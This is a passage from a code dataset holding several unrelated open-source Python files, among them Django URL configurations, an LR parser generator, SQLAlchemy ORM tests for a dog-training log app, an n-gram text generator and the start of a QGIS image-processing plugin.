layout.setWidgetEnabled(self._truncateLayerNamesWidget, False)\n self.propertyChanged.emit()\n\n def metadataChanged(self):\n layout = self.layout()\n text = self._metadataWidget._widget.currentText()\n if 'all' in text:\n layout.setWidgetEnabled(self._prefixWidget, True)\n else:\n layout.setWidgetEnabled(self._prefixWidget, False)\n self.propertyChanged.emit()\n\n def connectProperty(self, propertyWidget):\n if propertyWidget._label == 'compression':\n propertyWidget.propertyChanged.connect(self.compressionChanged)\n elif propertyWidget._label == 'interleave':\n propertyWidget.propertyChanged.connect(self.interleaveChanged)\n elif propertyWidget._label == 'metadata':\n propertyWidget.propertyChanged.connect(self.metadataChanged)\n else:\n propertyWidget.propertyChanged.connect(self.propertyChanged)\n\n\nclass WriteNodePropertyWidget(NodePropertyWidget):\n \"\"\"NodePropertyWidget subclass that creates property widgets for a write node with the\n passed in fileType.\"\"\"\n\n def __init__(self, fileType, propertyDictionaries, presetDictionary):\n self._writeNode = nuke.createNode('Write', '', False)\n fileTypeKnob = self._writeNode.knobs()['file_type']\n fileTypeKnob.setValue(fileType)\n\n NodePropertyWidget.__init__(self, self._writeNode,\n propertyDictionaries, presetDictionary)\n\n def __del__(self):\n nuke.delete(self._writeNode)\n","repo_name":"sisoe24/nuke-python-stubs","sub_path":"stubs/hiero/ui/FnCodecUIController.py","file_name":"FnCodecUIController.py","file_ext":"py","file_size_in_byte":12143,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"68"}
+{"seq_id":"21029286595","text":"from django.conf import settings\nfrom django.urls import path, register_converter\n\nfrom grandchallenge.serving.views import (\n serve_component_interface_value,\n serve_images,\n serve_session_feedback_screenshot,\n serve_structured_challenge_submission_form,\n serve_submissions,\n)\n\napp_name = \"serving\"\n\n\nclass PrefixConverter:\n regex = r\"[0-9a-fA-F]{2}\"\n\n def to_python(self, value):\n return str(value)\n\n def to_url(self, value):\n return str(value)\n\n\nregister_converter(PrefixConverter, \"prefix\")\n\nurlpatterns = [\n path(\n f\"{settings.IMAGE_FILES_SUBDIRECTORY}//\",\n serve_images,\n ),\n path(\n f\"{settings.IMAGE_FILES_SUBDIRECTORY}////\",\n serve_images,\n ),\n path(\n (\n f\"{settings.EVALUATION_FILES_SUBDIRECTORY}/\"\n f\"/\"\n f\"submissions/\"\n f\"/\"\n f\"/\"\n f\"\"\n ),\n serve_submissions,\n ),\n path(\n (\n f\"{settings.COMPONENTS_FILES_SUBDIRECTORY}/\"\n f\"componentinterfacevalue/\"\n f\"/\"\n f\"/\"\n f\"/\"\n f\"\"\n ),\n serve_component_interface_value,\n ),\n path(\n (\n \"challenges/\"\n \"challengerequest/\"\n \"/\"\n \"\"\n ),\n serve_structured_challenge_submission_form,\n ),\n path(\n \"session-feedback//\",\n serve_session_feedback_screenshot,\n ),\n]\n","repo_name":"comic/grand-challenge.org","sub_path":"app/grandchallenge/serving/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":153,"dataset":"github-code","pt":"68"}
+{"seq_id":"71356367577","text":"\"\"\"\nSimple algorithm that re-implements the Segmentor segment function\n\nThis module is a placeholder to indicate how to use the segmentation\nplugin architecture.\n\"\"\"\nfrom __future__ import print_function, absolute_import\nfrom DVIDSparkServices.reconutils.Segmentor import Segmentor\n\nclass precomputedpipeline(Segmentor):\n\n def segment(self, subvols, gray_vols=None):\n \"\"\"\n Does not require the gray vols\n \"\"\"\n # read pre-computed segmentation\n\n pathloc = self.segmentor_config[\"segpath\"]\n \n def _segment(subvolume):\n z1 = subvolume.box.z1\n y1 = subvolume.box.y1\n x1 = subvolume.box.x1\n\n fileloc = (pathloc + \"/%d_%d_%d.h5\") % (z1,y1,x1)\n import h5py\n import numpy\n print(\"!!\", fileloc)\n try:\n hfile = h5py.File(fileloc, 'r')\n seg = numpy.array(hfile[\"segmentation\"])\n print(\"!! good\")\n return seg.astype(numpy.uint32)\n except:\n print(\"!! bad\")\n return numpy.zeros((552,552,552), numpy.uint32)\n\n # preserver partitioner\n return subvols.map(_segment, True)\n","repo_name":"janelia-flyem/DVIDSparkServices","sub_path":"DVIDSparkServices/reconutils/plugins/precomputedpipeline.py","file_name":"precomputedpipeline.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"}
+{"seq_id":"1778062245","text":"import logging\nfrom .baselex import EPS, EOF\nfrom ..common import Token\nfrom .common import ParserException, ParserGenerationException\n\n\nclass Action:\n def __eq__(self, other):\n return str(self) == str(other)\n\n\nclass Shift(Action):\n \"\"\" Shift over the next token and go to the given state \"\"\"\n\n def __init__(self, to_state):\n self.to_state = to_state\n\n def __repr__(self):\n return \"Shift({})\".format(self.to_state)\n\n\nclass Reduce(Action):\n \"\"\" Reduce according to the given rule \"\"\"\n\n def __init__(self, rule):\n self.rule = rule\n\n def __repr__(self):\n return \"Reduce({})\".format(self.rule)\n\n\nclass Accept(Action):\n def __init__(self, rule):\n self.rule = rule\n\n def __repr__(self):\n return \"Accept({})\".format(self.rule)\n\n\nclass Item:\n \"\"\"\n Represents a partially parsed item\n It has a production it is looking for, a position\n in this production called the 'dot' and a look ahead\n symbol that must follow this item.\n \"\"\"\n\n def __init__(self, production, dotpos, look_ahead):\n self.production = production\n self.dotpos = dotpos\n assert self.dotpos <= len(self.production.symbols)\n self.look_ahead = look_ahead\n self.is_shift = self.dotpos < len(self.production.symbols)\n if self.is_shift:\n self.Next = self.production.symbols[self.dotpos]\n self._data = (self.production, self.dotpos, self.look_ahead)\n self._hash = self._data.__hash__()\n\n def __eq__(self, other):\n if type(other) is type(self):\n return self._data == other._data\n return False\n\n def __hash__(self):\n return self._hash\n\n @property\n def is_reduce(self):\n \"\"\" Check if this item has the dot at the end \"\"\"\n return not self.is_shift\n\n def can_shift_over(self, symbol):\n \"\"\" Determines if this item can shift over the given symbol \"\"\"\n return self.is_shift and self.Next == symbol\n\n def shifted(self):\n \"\"\" Creates a new item that is shifted one position \"\"\"\n return Item(self.production, self.dotpos + 1, self.look_ahead)\n\n @property\n def NextNext(self):\n \"\"\" Gets the symbol after the next symbol, or EPS if at the end \"\"\"\n if self.dotpos + 1 >= len(self.production.symbols):\n return EPS\n else:\n return self.production.symbols[self.dotpos + 1]\n\n def __repr__(self):\n prod = self.production\n predot = \" \".join(prod.symbols[0 : self.dotpos])\n postdot = \" \".join(prod.symbols[self.dotpos :])\n args = (prod.name, predot, postdot, self.look_ahead)\n return \"[{} -> {} . {} -> {}]\".format(*args)\n\n\nclass State:\n \"\"\"A state in the parsing machine. A state contains a set of items and\n a state number\"\"\"\n\n def __init__(self, items, number):\n self.items = items\n self.number = number\n self.actions = {}\n\n\nclass LrParser:\n \"\"\"LR parser automata. This class takes goto and action table\n and can then process a sequence of tokens.\n \"\"\"\n\n def __init__(self, grammar, action_table, goto_table):\n self.action_table = action_table\n self.goto_table = goto_table\n self.grammar = grammar\n\n def parse(self, lexer):\n \"\"\" Parse an iterable with tokens \"\"\"\n assert hasattr(lexer, \"next_token\")\n stack = [0]\n r_data_stack = []\n look_ahead = lexer.next_token()\n assert type(look_ahead) is Token\n\n # TODO: exit on this condition:\n while stack != [0, self.grammar.start_symbol, 0]:\n state = stack[-1] # top of stack\n key = (state, look_ahead.typ)\n if key not in self.action_table:\n raise ParserException(\n \"Error parsing at character {0}\".format(look_ahead)\n )\n action = self.action_table[key]\n if isinstance(action, Reduce):\n f_args = []\n prod = self.grammar.productions[action.rule]\n for s in prod.symbols:\n stack.pop()\n stack.pop()\n f_args.append(r_data_stack.pop())\n f_args.reverse()\n r_data = None\n if prod.f:\n r_data = prod.f(*f_args)\n state = stack[-1]\n stack.append(prod.name)\n stack.append(self.goto_table[(state, prod.name)])\n r_data_stack.append(r_data)\n elif isinstance(action, Shift):\n stack.append(look_ahead.typ)\n stack.append(action.to_state)\n r_data_stack.append(look_ahead)\n look_ahead = lexer.next_token()\n assert type(look_ahead) is Token\n elif isinstance(action, Accept):\n # Pop last rule data off the stack:\n f_args = []\n param = self.grammar.productions[action.rule]\n for s in param.symbols:\n stack.pop()\n stack.pop()\n f_args.append(r_data_stack.pop())\n f_args.reverse()\n if param.f:\n ret_val = param.f(*f_args)\n else:\n ret_val = None\n # Break out!\n stack.append(param.name)\n stack.append(0)\n break\n # At exit, the stack must be 1 long\n # TODO: fix that this holds:\n # assert stack == [0, self.grammar.start_symbol, 0]\n return ret_val\n\n\ndef calculate_first_sets(grammar):\n \"\"\"\n Calculate first sets for each grammar symbol\n This is a dictionary which maps each grammar symbol\n to a set of terminals that can be encountered first\n when looking for the symbol.\n \"\"\"\n first = {}\n nullable = {}\n for terminal in grammar.terminals | {EOF, EPS}:\n first[terminal] = set([terminal])\n nullable[terminal] = False\n\n for nt in grammar.nonterminals:\n first[nt] = set()\n nullable[nt] = False\n\n while True:\n some_change = False\n for rule in grammar.productions:\n # Check for null-ability:\n if all(nullable[beta] for beta in rule.symbols):\n if not nullable[rule.name]:\n nullable[rule.name] = True\n some_change = True\n\n # Update first sets:\n for beta in rule.symbols:\n if not nullable[beta]:\n if first[beta] - first[rule.name]:\n first[rule.name] |= first[beta]\n some_change = True\n break\n if not some_change:\n break\n return first\n\n\nclass LrParserBuilder:\n \"\"\"\n Construct goto and action tables according to LALR algorithm\n \"\"\"\n\n def __init__(self, grammar):\n self.logger = logging.getLogger(\"pcc\")\n self.grammar = grammar\n self._first = None # Cached first set\n\n # Work data structures:\n self.action_table = {}\n self.goto_table = {}\n\n @property\n def first(self):\n \"\"\"\n The first set is a mapping from a grammar symbol to a set of\n set of all terminal symbols that can be the first terminal when\n looking for the grammar symbol\n \"\"\"\n if not self._first:\n self._first = calculate_first_sets(self.grammar)\n return self._first\n\n def closure(self, itemset):\n \"\"\" Expand itemset by using epsilon moves \"\"\"\n worklist = list(itemset)\n\n def addIt(itm):\n if itm not in itemset:\n itemset.add(itm)\n worklist.append(itm)\n\n def first2(itm):\n # When using the first sets, create a copy:\n f = set(self.first[itm.NextNext])\n if EPS in f:\n f.discard(EPS)\n f.add(itm.look_ahead)\n return f\n\n # Start of algorithm:\n while worklist:\n item = worklist.pop(0)\n if not item.is_shift:\n continue\n if item.Next not in self.grammar.nonterminals:\n continue\n\n C = item.Next\n for add_p in self.grammar.productions_for_name(C):\n for b in first2(item):\n addIt(Item(add_p, 0, b))\n return frozenset(itemset)\n\n def initial_item_set(self):\n \"\"\" Calculates the initial item set \"\"\"\n iis = set()\n for p in self.grammar.productions_for_name(self.grammar.start_symbol):\n iis.add(Item(p, 0, EOF))\n return self.closure(iis)\n\n def next_item_set(self, itemset, symbol):\n \"\"\"\n Determines the next itemset for the current set and a symbol\n This is the goto procedure\n \"\"\"\n next_set = set()\n for item in itemset:\n if item.can_shift_over(symbol):\n next_set.add(item.shifted())\n return self.closure(next_set)\n\n def generate_parser(self):\n \"\"\" Generates a parser from the grammar \"\"\"\n self.logger.debug(\"Generating parser from {}\".format(self.grammar))\n self.generate_tables()\n p = LrParser(self.grammar, self.action_table, self.goto_table)\n self.logger.debug(\"Parser generated\")\n return p\n\n def gen_canonical_set(self, iis):\n \"\"\" Create all LR1 states \"\"\"\n states = set()\n worklist = []\n transitions = {}\n indici = {}\n\n def addSt(s):\n if s not in states:\n worklist.append(s)\n indici[s] = len(indici)\n states.add(s)\n\n addSt(iis)\n\n while worklist:\n itemset = worklist.pop(0)\n for symbol in self.grammar.symbols:\n nis = self.next_item_set(itemset, symbol)\n if not nis:\n continue\n addSt(nis)\n transitions[(indici[itemset], symbol)] = indici[nis]\n return states, transitions, indici\n\n def set_action(self, state, t, action):\n assert isinstance(action, Action)\n assert isinstance(state, int)\n assert isinstance(t, str)\n key = (state, t)\n if key in self.action_table:\n action2 = self.action_table[key]\n if action != action2:\n if isinstance(action2, Reduce) and isinstance(action, Shift):\n # Automatically resolve and do the shift action!\n # Simple, but almost always what you want!!\n self.action_table[key] = action\n elif isinstance(action2, Shift) and isinstance(action, Reduce):\n pass\n else:\n a1 = str(action)\n a2 = str(action2)\n prod = self.grammar.productions[action.rule]\n prod2 = self.grammar.productions[action2.rule]\n raise ParserGenerationException(\n \"LR conflict {} vs {} ({} vs {})\".format(\n a1, a2, prod, prod2\n )\n )\n else:\n self.action_table[key] = action\n\n def generate_tables(self):\n \"\"\" Generate parsing tables \"\"\"\n\n # If no start symbol set, pick the first one!\n if not self.grammar.start_symbol:\n self.grammar.start_symbol = self.grammar.productions[0].name\n\n # Make grammar normal:\n # self.grammar.rewrite_eps_productions()\n # assert self.grammar.is_normal\n\n self.grammar.check_symbols()\n iis = self.initial_item_set()\n self.logger.debug(\"Initial item set: {} items\".format(len(iis)))\n\n # First generate all item sets by using the nextItemset function:\n states, transitions, indici = self.gen_canonical_set(iis)\n self.logger.debug(\"Number of states: {}\".format(len(states)))\n self.logger.debug(\"Number of transitions: {}\".format(len(transitions)))\n\n # Fill action table:\n for state in states:\n state_nr = indici[state]\n # Detect conflicts:\n for item in state:\n if item.is_shift and item.Next in self.grammar.terminals:\n # Rule 1, a shift item:\n nextstate = transitions[(state_nr, item.Next)]\n self.set_action(state_nr, item.Next, Shift(nextstate))\n if item.is_reduce:\n if (\n item.production.name == self.grammar.start_symbol\n and item.look_ahead == EOF\n ):\n # Rule 3: accept:\n act = Accept(\n self.grammar.productions.index(item.production)\n )\n else:\n # Rule 2, reduce item:\n act = Reduce(\n self.grammar.productions.index(item.production)\n )\n self.set_action(state_nr, item.look_ahead, act)\n\n # Fill the goto table:\n for nt in self.grammar.nonterminals:\n key = (state_nr, nt)\n if key in transitions:\n self.goto_table[key] = transitions[key]\n\n self.logger.debug(\"Goto table: {}\".format(len(self.goto_table)))\n self.logger.debug(\"Action table: {}\".format(len(self.action_table)))\n return self.action_table, self.goto_table\n","repo_name":"windelbouwman/ppci","sub_path":"ppci/lang/tools/lr.py","file_name":"lr.py","file_ext":"py","file_size_in_byte":13519,"program_lang":"python","lang":"en","doc_type":"code","stars":305,"dataset":"github-code","pt":"68"}
+{"seq_id":"43223731470","text":"from sqlalchemy.orm import sessionmaker,clear_mappers\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.sql import text\nimport sqlalchemy\nfrom datetime import datetime\nimport pytest\n\nfrom src import models\nfrom src.orm import mapper_reg,start_mappers\n\nfrom tests.test_models import Luna, training_log_entry, JC\n\n@pytest.fixture\ndef in_memory_db():\n engine=create_engine(\"sqlite:///:memory:\")\n mapper_reg.metadata.create_all(engine)\n return engine\n\n@pytest.fixture\ndef session(in_memory_db):\n clear_mappers()\n start_mappers()\n yield sessionmaker(bind=in_memory_db)()\n clear_mappers\n\ndef test_can_add_kennel(session):\n session.execute(text(\"\"\" INSERT INTO \"kennel\" (\"kennel_name\") VALUES ('Team Running Husky')\"\"\"))\n\n session.flush()\n expected=[models.Kennel('Team Running Husky')]\n \n assert list(session.query(models.Kennel).all()) == expected\n\ndef test_kennel_mapper_can_add_line(session):\n new_kennel=models.Kennel('Team Running Husky')\n session.add(new_kennel)\n session.commit()\n\n rows=list(session.execute(text(\"\"\" SELECT \"kennel_name\" FROM \"kennel\" \"\"\")))\n assert rows==[(\"Team Running Husky\",)]\n\ndef test_dog_mapper_can_add_line(session,Luna):\n \n # kennel=models.Kennel('Team Running Husky')\n\n # session.add(kennel)\n # luna_kennel=session.query(models.Kennel).all()\n\n #session.add(models.Dog('Luna',datetime(2017,4,18),kennel,'Husky'))\n \n\n session.add(Luna)\n session.commit()\n\n rows=list(session.execute(text(\"\"\" SELECT \"dog_name\", \"kennel_id\" FROM \"dog\" \"\"\")))\n expected=[(Luna.dog_name,1)]\n print(list(session.query(models.Kennel).all()))\n assert rows==expected\n\ndef test_unique_constraint_on_dog_table(session,Luna):\n session.add(Luna)\n session.commit()\n query=text(\"\"\" INSERT INTO \"dog\" (\"dog_name\", \"date_of_birth\", \"breed\", \"kennel_id\") VALUES (:dogname,:dob,:breed,:kennel_id)\"\"\")\n param={\"dogname\": 'Luna','dob':datetime(2017,4,18).date(),'breed':'Husky','kennel_id':1}\n with pytest.raises(sqlalchemy.exc.IntegrityError):\n session.execute(query,param)\n session.flush()\n \n\ndef test_runner_mapper_can_add_line(session,JC):\n \n session.add(JC)\n session.commit()\n\n rows=list(session.execute(text(\"\"\" SELECT \"runner_name\", \"kennel_id\" FROM \"runner\" \"\"\")))\n expected=[(JC.runner_name,1)]\n print(list(session.query(models.Kennel).all()))\n assert rows==expected\n\ndef test_dog_mapper_can_retrive_entry(session,Luna):\n kennel=models.Kennel('Team Running Husky')\n\n session.add(kennel)\n \n query=text(\"\"\" INSERT INTO \"dog\" (\"dog_name\", \"date_of_birth\", \"breed\", \"kennel_id\") VALUES (:dogname,:dob,:breed,:kennel_id)\"\"\")\n param={\"dogname\": 'Luna','dob':datetime(2017,4,18).date(),'breed':'Husky','kennel_id':1}\n session.execute(query,param)\n session.flush()\n \n\n expected=Luna\n \n assert list(session.query(models.Dog).all())[0].date_of_birth == expected.date_of_birth\n assert list(session.query(models.Dog).all())[0].breed == expected.breed\n assert list(session.query(models.Dog).all())[0].dog_name == expected.dog_name\n assert list(session.query(models.Dog).all())[0].kennel_name == expected.kennel_name\n\n\ndef test_can_add_training_entry(session):\n kennel=models.Kennel('Team Running Husky')\n\n session.add(kennel)\n TRH_kennel=session.query(models.Kennel).all()[0]\n\n luna=models.Dog('Luna',datetime(2017,4,18),TRH_kennel,'Husky')\n JC= models.Runner('JC', TRH_kennel)\n bolt=models.Dog('Bolt',datetime(2018,6,12),TRH_kennel,'Husky')\n \n #session.add(models.Dog('Luna',datetime(2017,4,18),kennel,'Husky'))\n \n training_entry= models.Training_Log(datetime.now(), 20,77, luna,None,\"Canicross\",JC,\\\n \"Christie\", 2.4, 3, pace=\"0:03:20\")\n\n print(training_entry.dog1_name.dog_name)\n \n session.add(training_entry)\n session.commit()\n\n query=text(\"\"\" SELECT \"dog1_id\", \"dog2_id\", \"runner_id\", \"sport\",\"weather_id\",\"speed\", \"pace\" FROM \"training_log\" \"\"\")\n \n rows=list(session.execute(query))\n print(rows)\n expected=[(luna.id, bolt.id, JC.id, \"Canicross\", 1, 18, \"0:03:20\"),]\n assert rows==expected\n\ndef test_dog_weight_entry_mapper_can_add_line(session, Luna):\n # session.add(Luna)\n # session.flush()\n luna=models.Dog('Luna',datetime(2017,4,18),models.Kennel('Team Running Husky'),'Husky')\n \n weight_entry=models.Dog_Weight(luna, datetime.now().strftime('%Y/%m/%d'), 35)\n\n session.add(weight_entry)\n session.commit()\n\n query=text(\"\"\" SELECT \"dog_id\", \"dog_age\", \"weight\" FROM \"weight_entry\" \"\"\")\n \n rows=list(session.execute(query).all())\n print(rows)\n expected=[(luna.id, luna.age, 35.0),]\n assert rows==expected\n\ndef test_log_entry_creates_weather_entry(session):\n\n kennel=models.Kennel('Team Running Husky')\n\n session.add(kennel)\n TRH_kennel=session.query(models.Kennel).all()[0]\n\n luna=models.Dog('Luna',datetime(2017,4,18),TRH_kennel,'Husky')\n JC= models.Runner('JC', TRH_kennel)\n bolt=models.Dog('Bolt',datetime(2018,6,12),TRH_kennel,'Husky')\n \n #session.add(models.Dog('Luna',datetime(2017,4,18),kennel,'Husky'))\n \n training_entry= models.Training_Log(datetime.now(), 20,77, luna,None,\"Canicross\",JC,\\\n \"Christie\", 2.4, 3, pace=\"0:03:20\")\n\n \n session.add(training_entry)\n session.commit()\n\n print(list(session.query(models.Weather_Entry).all())[0].timestamp)\n \n \n\n \n\n","repo_name":"JCOno-dit-Biot/training_log_app","sub_path":"tests/test_orm.py","file_name":"test_orm.py","file_ext":"py","file_size_in_byte":5468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"11275378881","text":"\nfrom django.conf import settings\nfrom core.lib.controller import Controller, login_required\nfrom core.models.ui import UI\n\n\nclass UIController():\n actions = ['index', 'create', 'search', 'delete_all']\n\n def router(req, **kwargs):\n return Controller.route(UIController, UIController.actions, req, kwargs)\n\n def index(req):\n \"\"\" List the all UIs by type \"\"\"\n type = req.GET.get('type');\n uis = UI.objects.filter(**{'type':type}).order_by('name').values()\n return Controller.render_json({'results':list(uis), \"total\": len(uis)})\n\n def create(req):\n id = False\n if req.method == 'POST':\n nw = UI.objects.create(**{'name':req.POST.get('name'),\n 'type':req.POST.get('type'),\n 'markup':req.POST.get('markup'),\n 'group':req.POST.get('group'),\n })\n id = nw.id;\n nw.markup = nw.markup.format(nw.id)\n nw.save()\n return Controller.render_json({'success':True, 'id':id, })\n\n def search(req):\n \"\"\" List search results \"\"\"\n f = {'name__icontains':req.GET.get('keyword', '')}\n locs = Section.objects.filter(**f).order_by('name').values('id', 'name')[:100]\n return Section.render_json({'sections':list(secs), \"total\": len(secs)})\n\n def delete_all(req):\n UI.objects.filter(**{}).delete()\n return Controller.render_json({'action':'delete_all'})\n","repo_name":"scottyadean/picbiz","sub_path":"picbiz/core/controllers/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"16873632087","text":"import nltk\r\nimport re\r\nimport pprint as pp\r\nimport numpy as np\r\nimport json\r\n\r\ndictfilt = lambda x, y: dict([ (i,x[i]) for i in x if i in set(y) ])\r\n\r\ndef N_Grams(text, n):\r\n \r\n ngrams, n1gram = [], []\r\n for txt in text:\r\n for i in range(0,n-1):\r\n txt = ' ' + txt\r\n txt = txt + ' '\r\n ngrams += list(nltk.ngrams(txt.split(), n))\r\n n1gram += list(nltk.ngrams(txt.split(), n - 1))\r\n #pp.pprint(ngrams)\r\n #pp.pprint(n1gram)\r\n ngram_freq = {x[0]: x[1] for x in [x for x in nltk.FreqDist(ngrams).items()]}\r\n #print(ngram_freq)\r\n \r\n n1gram_freq = {x[0]: x[1] for x in [x for x in nltk.FreqDist(n1gram).items()]}\r\n #print(n1gram_freq)\r\n \r\n ngram_prob = {}\r\n for k,v in ngram_freq.items():\r\n ngram = k\r\n if ngram[:-1] in n1gram:\r\n prob = v / n1gram_freq[ngram[:-1]]\r\n ngram_prob[k] = prob\r\n \r\n return ngram_prob\r\n\r\ndef generate_text(prob, prompt, n):\r\n\r\n if len(prompt.split(' ')) < (n - 1):\r\n return 'TEXT CANNOT BE GENERATED'\r\n #pp.pprint(prob)\r\n #print(\"prompt:\", prompt.split(' '))\r\n text = ['']\r\n text.extend(prompt.split(' '))\r\n #print(\"text:\", text)\r\n pref_tup = tuple(text[-(n-1):]) \r\n cnt = 0\r\n while (pref_tup[-1] != '') and (cnt < 3):\r\n #print(\"Pref Tuple:\", pref_tup)\r\n #print([tup[:-1] for tup in prob.keys()])\r\n keys = [tup for tup in prob.keys() if pref_tup == tup[:-1]]\r\n if keys == None:\r\n return \" \".join(text[1:])\r\n #print(\"keys:\",keys)\r\n prob_keys = dictfilt(prob, keys)\r\n #print(prob_keys)\r\n max_key = max(prob_keys, key=prob_keys.get)[-1]\r\n #print(\"word:\", max_key)\r\n pref_tup = list(pref_tup)\r\n pref_tup.append(max_key)\r\n pref_tup = tuple(pref_tup[1:])\r\n text.append(max_key)\r\n cnt += 1\r\n #text.append(word)\r\n #print(text[1:])\r\n pred = ' '.join(text[1:])\r\n pred = pred.replace(\"\", \"\")\r\n return pred\r\n\r\ndef preprocess(txt):\r\n\r\n txt = re.sub(r'\\n{2,}|^\\n', '', txt)\r\n txt = re.sub(r'^\\d+\\s|\\s\\d+\\s|\\s\\d+$', ' ', txt)\r\n txt = re.sub(r'\\.', '', txt)\r\n txt = re.sub(r',', '', txt)\r\n return txt\r\n \r\ndef save_model(dict, filename=\"ngram-model.json\"):\r\n dict = {','.join(list(k)):v for k,v in dict.items()}\r\n with open(filename, \"w\") as outfile:\r\n json.dump(dict, outfile)\r\n\r\ndef open_model(filename=\"ngram-model.json\"):\r\n with open(filename, \"r\") as f:\r\n data = json.load(f)\r\n data = {tuple(k.split(',')):v for k,v in data.items()}\r\n return data\r\n\r\nif __name__ == \"__main__\":\r\n\r\n text = ['Lorem ipsum dolor sit amet, consectetur adipiscing elit.', \r\n 'Sed massa felis, fermentum et tortor sit amet, semper imperdiet orci.']\r\n text = [preprocess(x) for x in text]\r\n n = 2\r\n prob = N_Grams(text, n)\r\n #print(prob)\r\n save_model(prob)\r\n prob = open_model()\r\n sent = generate_text(prob, 'lorem ipsum dolor', n)\r\n sent = re.sub(r'\\,|\\.', '', sent)\r\n print(sent)\r\n","repo_name":"rambabu264/NLP_n-gram_model","sub_path":"N_Gram/N_Gram.py","file_name":"N_Gram.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"34078976991","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\n path('', views.index, name='movies_list'),\n path('movies/', views.details, name='movie_details'),\n path('movies/like', views.watchlist, name='movie_like'),\n path('movies/favorites/',views.favorite,name='movie_favorites'),\n path('watchlist/', views.user_watchlist,name='watch_list'),\n]","repo_name":"jkimuli/filmdeck","sub_path":"movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"1270644732","text":"# Create your tests here.\n\n\n# class TestSomeCase(TestCase):\n# def test_my_view(self):\n# client = Client()\n# response = client.get('/test/')\n# self.assertEqual(response.content.decode(), \"Test done!\")\n\nimport pytest\n\nfrom logistic.models import Product\n\n\n@pytest.mark.django_db # give test access to database\ndef test_product_create():\n # Create dummy data\n product = Product.objects.create(\n title=\"new product\",\n description=\"The rely new product for test\", )\n # Assert the dummy data saved as expected\n assert product.title == \"new product\"\n assert product.description == \"The rely new product for test\"\n","repo_name":"sergeMMikh/hw_17.10.2022","sub_path":"logistic/tests_logistic.py","file_name":"tests_logistic.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"2189005420","text":"from PyQt4.QtCore import*\nfrom PyQt4.QtGui import*\nfrom qgis.core import*\nfrom qgis.gui import*\n# Initialize Qt resources from file resources.py\nimport resources\n# Import the code for the dialog\nfrom Imagem_dialog import ImagemDialog\nimport os.path\nimport qgis.utils\nimport glob\nimport os.path\nimport numpy as np\nimport os\nimport math\nfrom osgeo import gdal\nimport osr\nimport pyproj\nimport processing\nclass Imagem:\n \"\"\"QGIS Plugin Implementation.\"\"\"\n\n def __init__(self, iface):\n \"\"\"Constructor.\n\n :param iface: An interface instance that will be passed to this class\n which provides the hook by which you can manipulate the QGIS\n application at run time.\n :type iface: QgisInterface\n \"\"\"\n # Save reference to the QGIS interface\n self.iface = iface\n # initialize plugin directory\n self.plugin_dir = os.path.dirname(__file__)\n # initialize locale\n locale = QSettings().value('locale/userLocale')[0:2]\n locale_path = os.path.join(\n self.plugin_dir,\n 'i18n',\n 'Imagem_{}.qm'.format(locale))\n\n if os.path.exists(locale_path):\n self.translator = QTranslator()\n self.translator.load(locale_path)\n\n if qVersion() > '4.3.3':\n QCoreApplication.installTranslator(self.translator)\n\n self.dlg = ImagemDialog()\n # Declare instance attributes\n self.actions = []\n self.menu = self.tr(u'&IMAGE PROCESSOR')\n # TODO: We are going to let the user set this up in a future iteration\n self.toolbar = self.iface.addToolBar(u'Imagem')\n self.toolbar.setObjectName(u'Imagem')\n\n # noinspection PyMethodMayBeStatic\n def tr(self, message):\n \"\"\"Get the translation for a string using Qt translation API.\n\n We implement this ourselves since we do not inherit QObject.\n\n :param message: String for translation.\n :type message: str, QString\n\n :returns: Translated version of message.\n :rtype: QString\n \"\"\"\n # noinspection PyTypeChecker,PyArgumentList,PyCallByClass\n return QCoreApplication.translate('Imagem', message)\n\n\n def add_action(\n self,\n icon_path,\n text,\n callback,\n enabled_flag=True,\n add_to_menu=True,\n add_to_toolbar=True,\n status_tip=None,\n whats_this=None,\n parent=None):\n \"\"\"Add a toolbar icon to the toolbar.\n\n :param icon_path: Path to the icon for this action. Can be a resource\n path (e.g. ':/plugins/foo/bar.png') or a normal file system path.\n :type icon_path: str\n\n :param text: Text that should be shown in menu items for this action.\n :type text: str\n\n :param callback: Function to be called when the action is triggered.\n :type callback: function\n\n :param enabled_flag: A flag indicating if the action should be enabled\n by default. Defaults to True.\n :type enabled_flag: bool\n\n :param add_to_menu: Flag indicating whether the action should also\n be added to the menu. Defaults to True.\n :type add_to_menu: bool\n\n :param add_to_toolbar: Flag indicating whether the action should also\n be added to the toolbar. Defaults to True.\n :type add_to_toolbar: bool\n\n :param status_tip: Optional text to show in a popup when mouse pointer\n hovers over the action.\n :type status_tip: str\n\n :param parent: Parent widget for the new action. Defaults None.\n :type parent: QWidget\n\n :param whats_this: Optional text to show in the status bar when the\n mouse pointer hovers over the action.\n\n :returns: The action that was created. Note that the action is also\n added to self.actions list.\n :rtype: QAction\n \"\"\"\n\n # Create the dialog (after translation) and keep reference\n self.dlg = ImagemDialog()\n\n icon = QIcon(icon_path)\n action = QAction(icon, text, parent)\n action.triggered.connect(callback)\n action.setEnabled(enabled_flag)\n\n if status_tip is not None:\n action.setStatusTip(status_tip)\n\n if whats_this is not None:\n action.setWhatsThis(whats_this)\n\n if add_to_toolbar:\n self.toolbar.addAction(action)\n\n if add_to_menu:\n self.iface.addPluginToMenu(\n self.menu,\n action)\n\n self.actions.append(action)\n\n return action\n\n def initGui(self):\n \"\"\"Create the menu entries and toolbar icons inside the QGIS GUI.\"\"\"\n\n icon_path = ':/plugins/Imagem/icon.png'\n self.add_action(\n icon_path,\n text=self.tr(u'PDI'),\n callback=self.run,\n 